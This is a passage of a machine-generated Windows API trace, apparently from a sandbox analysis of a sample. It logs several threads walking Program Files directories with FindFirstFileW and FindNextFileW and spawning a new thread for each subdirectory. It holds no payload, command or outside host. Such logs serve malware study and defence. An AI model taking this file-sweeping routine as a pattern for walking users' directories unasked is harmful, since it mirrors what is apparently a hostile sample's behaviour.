BaseAddress=0x1b7860b0) returned 1 Thread: id = 420 os_tid = 0xfc0 [0091.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4d4a0 [0091.253] wcscpy (in: _Dest=0x1cf4d4a0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" [0091.253] wcscat (in: _Dest=0x1cf4d4a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\" [0091.253] wcscat (in: _Dest=0x1cf4d4a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*" [0091.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce212c0 [0091.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da30 [0091.253] wcscmp (_String1=".", _String2=".") returned 0 [0091.253] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.254] wcscmp (_String1="..", _String2=".") returned 1 [0091.254] wcscmp (_String1="..", _String2="..") returned 0 [0091.254] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0091.254] wcscmp (_String1="Maple.gif", _String2=".") returned 1 [0091.254] wcscmp (_String1="Maple.gif", _String2="..") returned 1 [0091.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7adde0 [0091.254] wcscpy (in: _Dest=0x1b7adde0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" [0091.254] wcscat (in: _Dest=0x1b7adde0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\" [0091.254] wcscat (in: _Dest=0x1b7adde0, _Source="Maple.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" [0097.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb40 [0097.911] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 0 [0097.911] FindClose (in: hFindFile=0x1cd9da30 | out: hFindFile=0x1cd9da30) returned 1 [0097.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce212c0) returned 1 [0097.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d4a0) returned 1 [0097.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bb50) returned 1 Thread: id = 421 os_tid = 0xfc4 [0091.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4d530 [0091.256] wcscpy (in: _Dest=0x1cf4d530, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" [0091.256] wcscat (in: _Dest=0x1cf4d530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\" [0091.256] wcscat (in: _Dest=0x1cf4d530, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*" [0091.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21050 [0091.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0091.257] wcscmp (_String1=".", _String2=".") returned 0 [0091.257] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.257] wcscmp (_String1="..", _String2=".") returned 1 [0091.257] wcscmp (_String1="..", _String2="..") returned 0 [0091.257] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0091.257] wcscmp (_String1="1033", _String2=".") returned 1 [0091.257] wcscmp (_String1="1033", _String2="..") returned 1 [0091.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4d5c0 [0091.257] wcscpy (in: _Dest=0x1cf4d5c0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" [0091.257] wcscat (in: _Dest=0x1cf4d5c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\" [0091.257] wcscat (in: _Dest=0x1cf4d5c0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" [0097.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf4d5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd40 [0097.912] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0097.912] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0097.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21050) returned 1 [0097.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d530) returned 1 [0097.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c450) returned 1 Thread: id = 422 os_tid = 0xfc8 [0091.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8669c0 [0091.258] wcscpy (in: _Dest=0x1b8669c0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" [0091.258] wcscat (in: _Dest=0x1b8669c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\" [0091.258] wcscat (in: _Dest=0x1b8669c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*" [0091.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0091.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9daf0 [0091.259] wcscmp (_String1=".", _String2=".") returned 0 [0091.259] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.259] wcscmp (_String1="..", _String2=".") returned 1 [0091.259] wcscmp (_String1="..", _String2="..") returned 0 [0091.259] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0091.259] wcscmp (_String1="x64", _String2=".") returned 1 [0091.259] wcscmp (_String1="x64", _String2="..") returned 1 [0091.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b866a40 [0091.259] wcscpy (in: _Dest=0x1b866a40, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" [0091.259] wcscat (in: _Dest=0x1b866a40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\" [0091.259] wcscat (in: _Dest=0x1b866a40, _Source="x64" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" [0097.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b866a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd44 [0097.914] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0097.914] FindClose (in: hFindFile=0x1cd9daf0 | out: hFindFile=0x1cd9daf0) returned 1 [0097.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20690) returned 1 [0097.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8669c0) returned 1 [0097.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 Thread: id = 423 os_tid = 0xfcc [0091.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4d650 [0091.261] wcscpy (in: _Dest=0x1cf4d650, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0091.261] wcscat (in: _Dest=0x1cf4d650, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0091.261] wcscat (in: _Dest=0x1cf4d650, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*" [0091.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ff40 [0091.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9db50 [0091.261] wcscmp (_String1=".", _String2=".") returned 0 [0091.261] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.261] wcscmp (_String1="..", _String2=".") returned 1 [0091.262] wcscmp (_String1="..", _String2="..") returned 0 [0091.262] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0091.262] wcscmp (_String1="v3.0", _String2=".") returned 1 [0091.262] wcscmp (_String1="v3.0", _String2="..") returned 1 [0091.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4d6e0 [0091.262] wcscpy (in: _Dest=0x1cf4d6e0, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0091.262] wcscat (in: _Dest=0x1cf4d6e0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0091.262] wcscat (in: _Dest=0x1cf4d6e0, _Source="v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0097.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf4d6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd48 [0097.915] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0097.915] wcscmp (_String1="v3.5", _String2=".") returned 1 [0097.915] wcscmp (_String1="v3.5", _String2="..") returned 1 [0097.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85c450 [0097.916] wcscpy (in: _Dest=0x1b85c450, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0097.916] wcscat (in: _Dest=0x1b85c450, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0097.916] wcscat (in: _Dest=0x1b85c450, _Source="v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0097.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0097.916] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0097.916] FindClose (in: hFindFile=0x1cd9db50 | out: hFindFile=0x1cd9db50) returned 1 [0097.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ff40) returned 1 [0097.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d650) returned 1 [0097.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c600) returned 1 Thread: id = 424 os_tid = 0xfd0 [0091.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b866ac0 [0091.263] wcscpy (in: _Dest=0x1b866ac0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" [0091.263] wcscat (in: _Dest=0x1b866ac0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\" [0091.263] wcscat (in: _Dest=0x1b866ac0, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*" [0091.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0091.263] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dbb0 [0091.263] wcscmp (_String1=".", _String2=".") returned 0 [0091.263] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.263] wcscmp (_String1="..", _String2=".") returned 1 [0091.263] wcscmp (_String1="..", _String2="..") returned 0 [0091.263] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0091.263] wcscmp (_String1="v3.0", _String2=".") returned 1 [0091.263] wcscmp (_String1="v3.0", _String2="..") returned 1 [0091.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4d770 [0091.263] wcscpy (in: _Dest=0x1cf4d770, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" [0091.263] wcscat (in: _Dest=0x1cf4d770, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\" [0091.263] wcscat (in: _Dest=0x1cf4d770, _Source="v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0097.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf4d770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90 [0097.641] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0097.641] wcscmp (_String1="v3.5", _String2=".") returned 1 [0097.641] wcscmp (_String1="v3.5", _String2="..") returned 1 [0097.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a5fa0 [0097.641] wcscpy (in: _Dest=0x202a5fa0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" [0097.641] wcscat (in: _Dest=0x202a5fa0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\" [0097.641] wcscat (in: _Dest=0x202a5fa0, _Source="v3.5" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0097.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 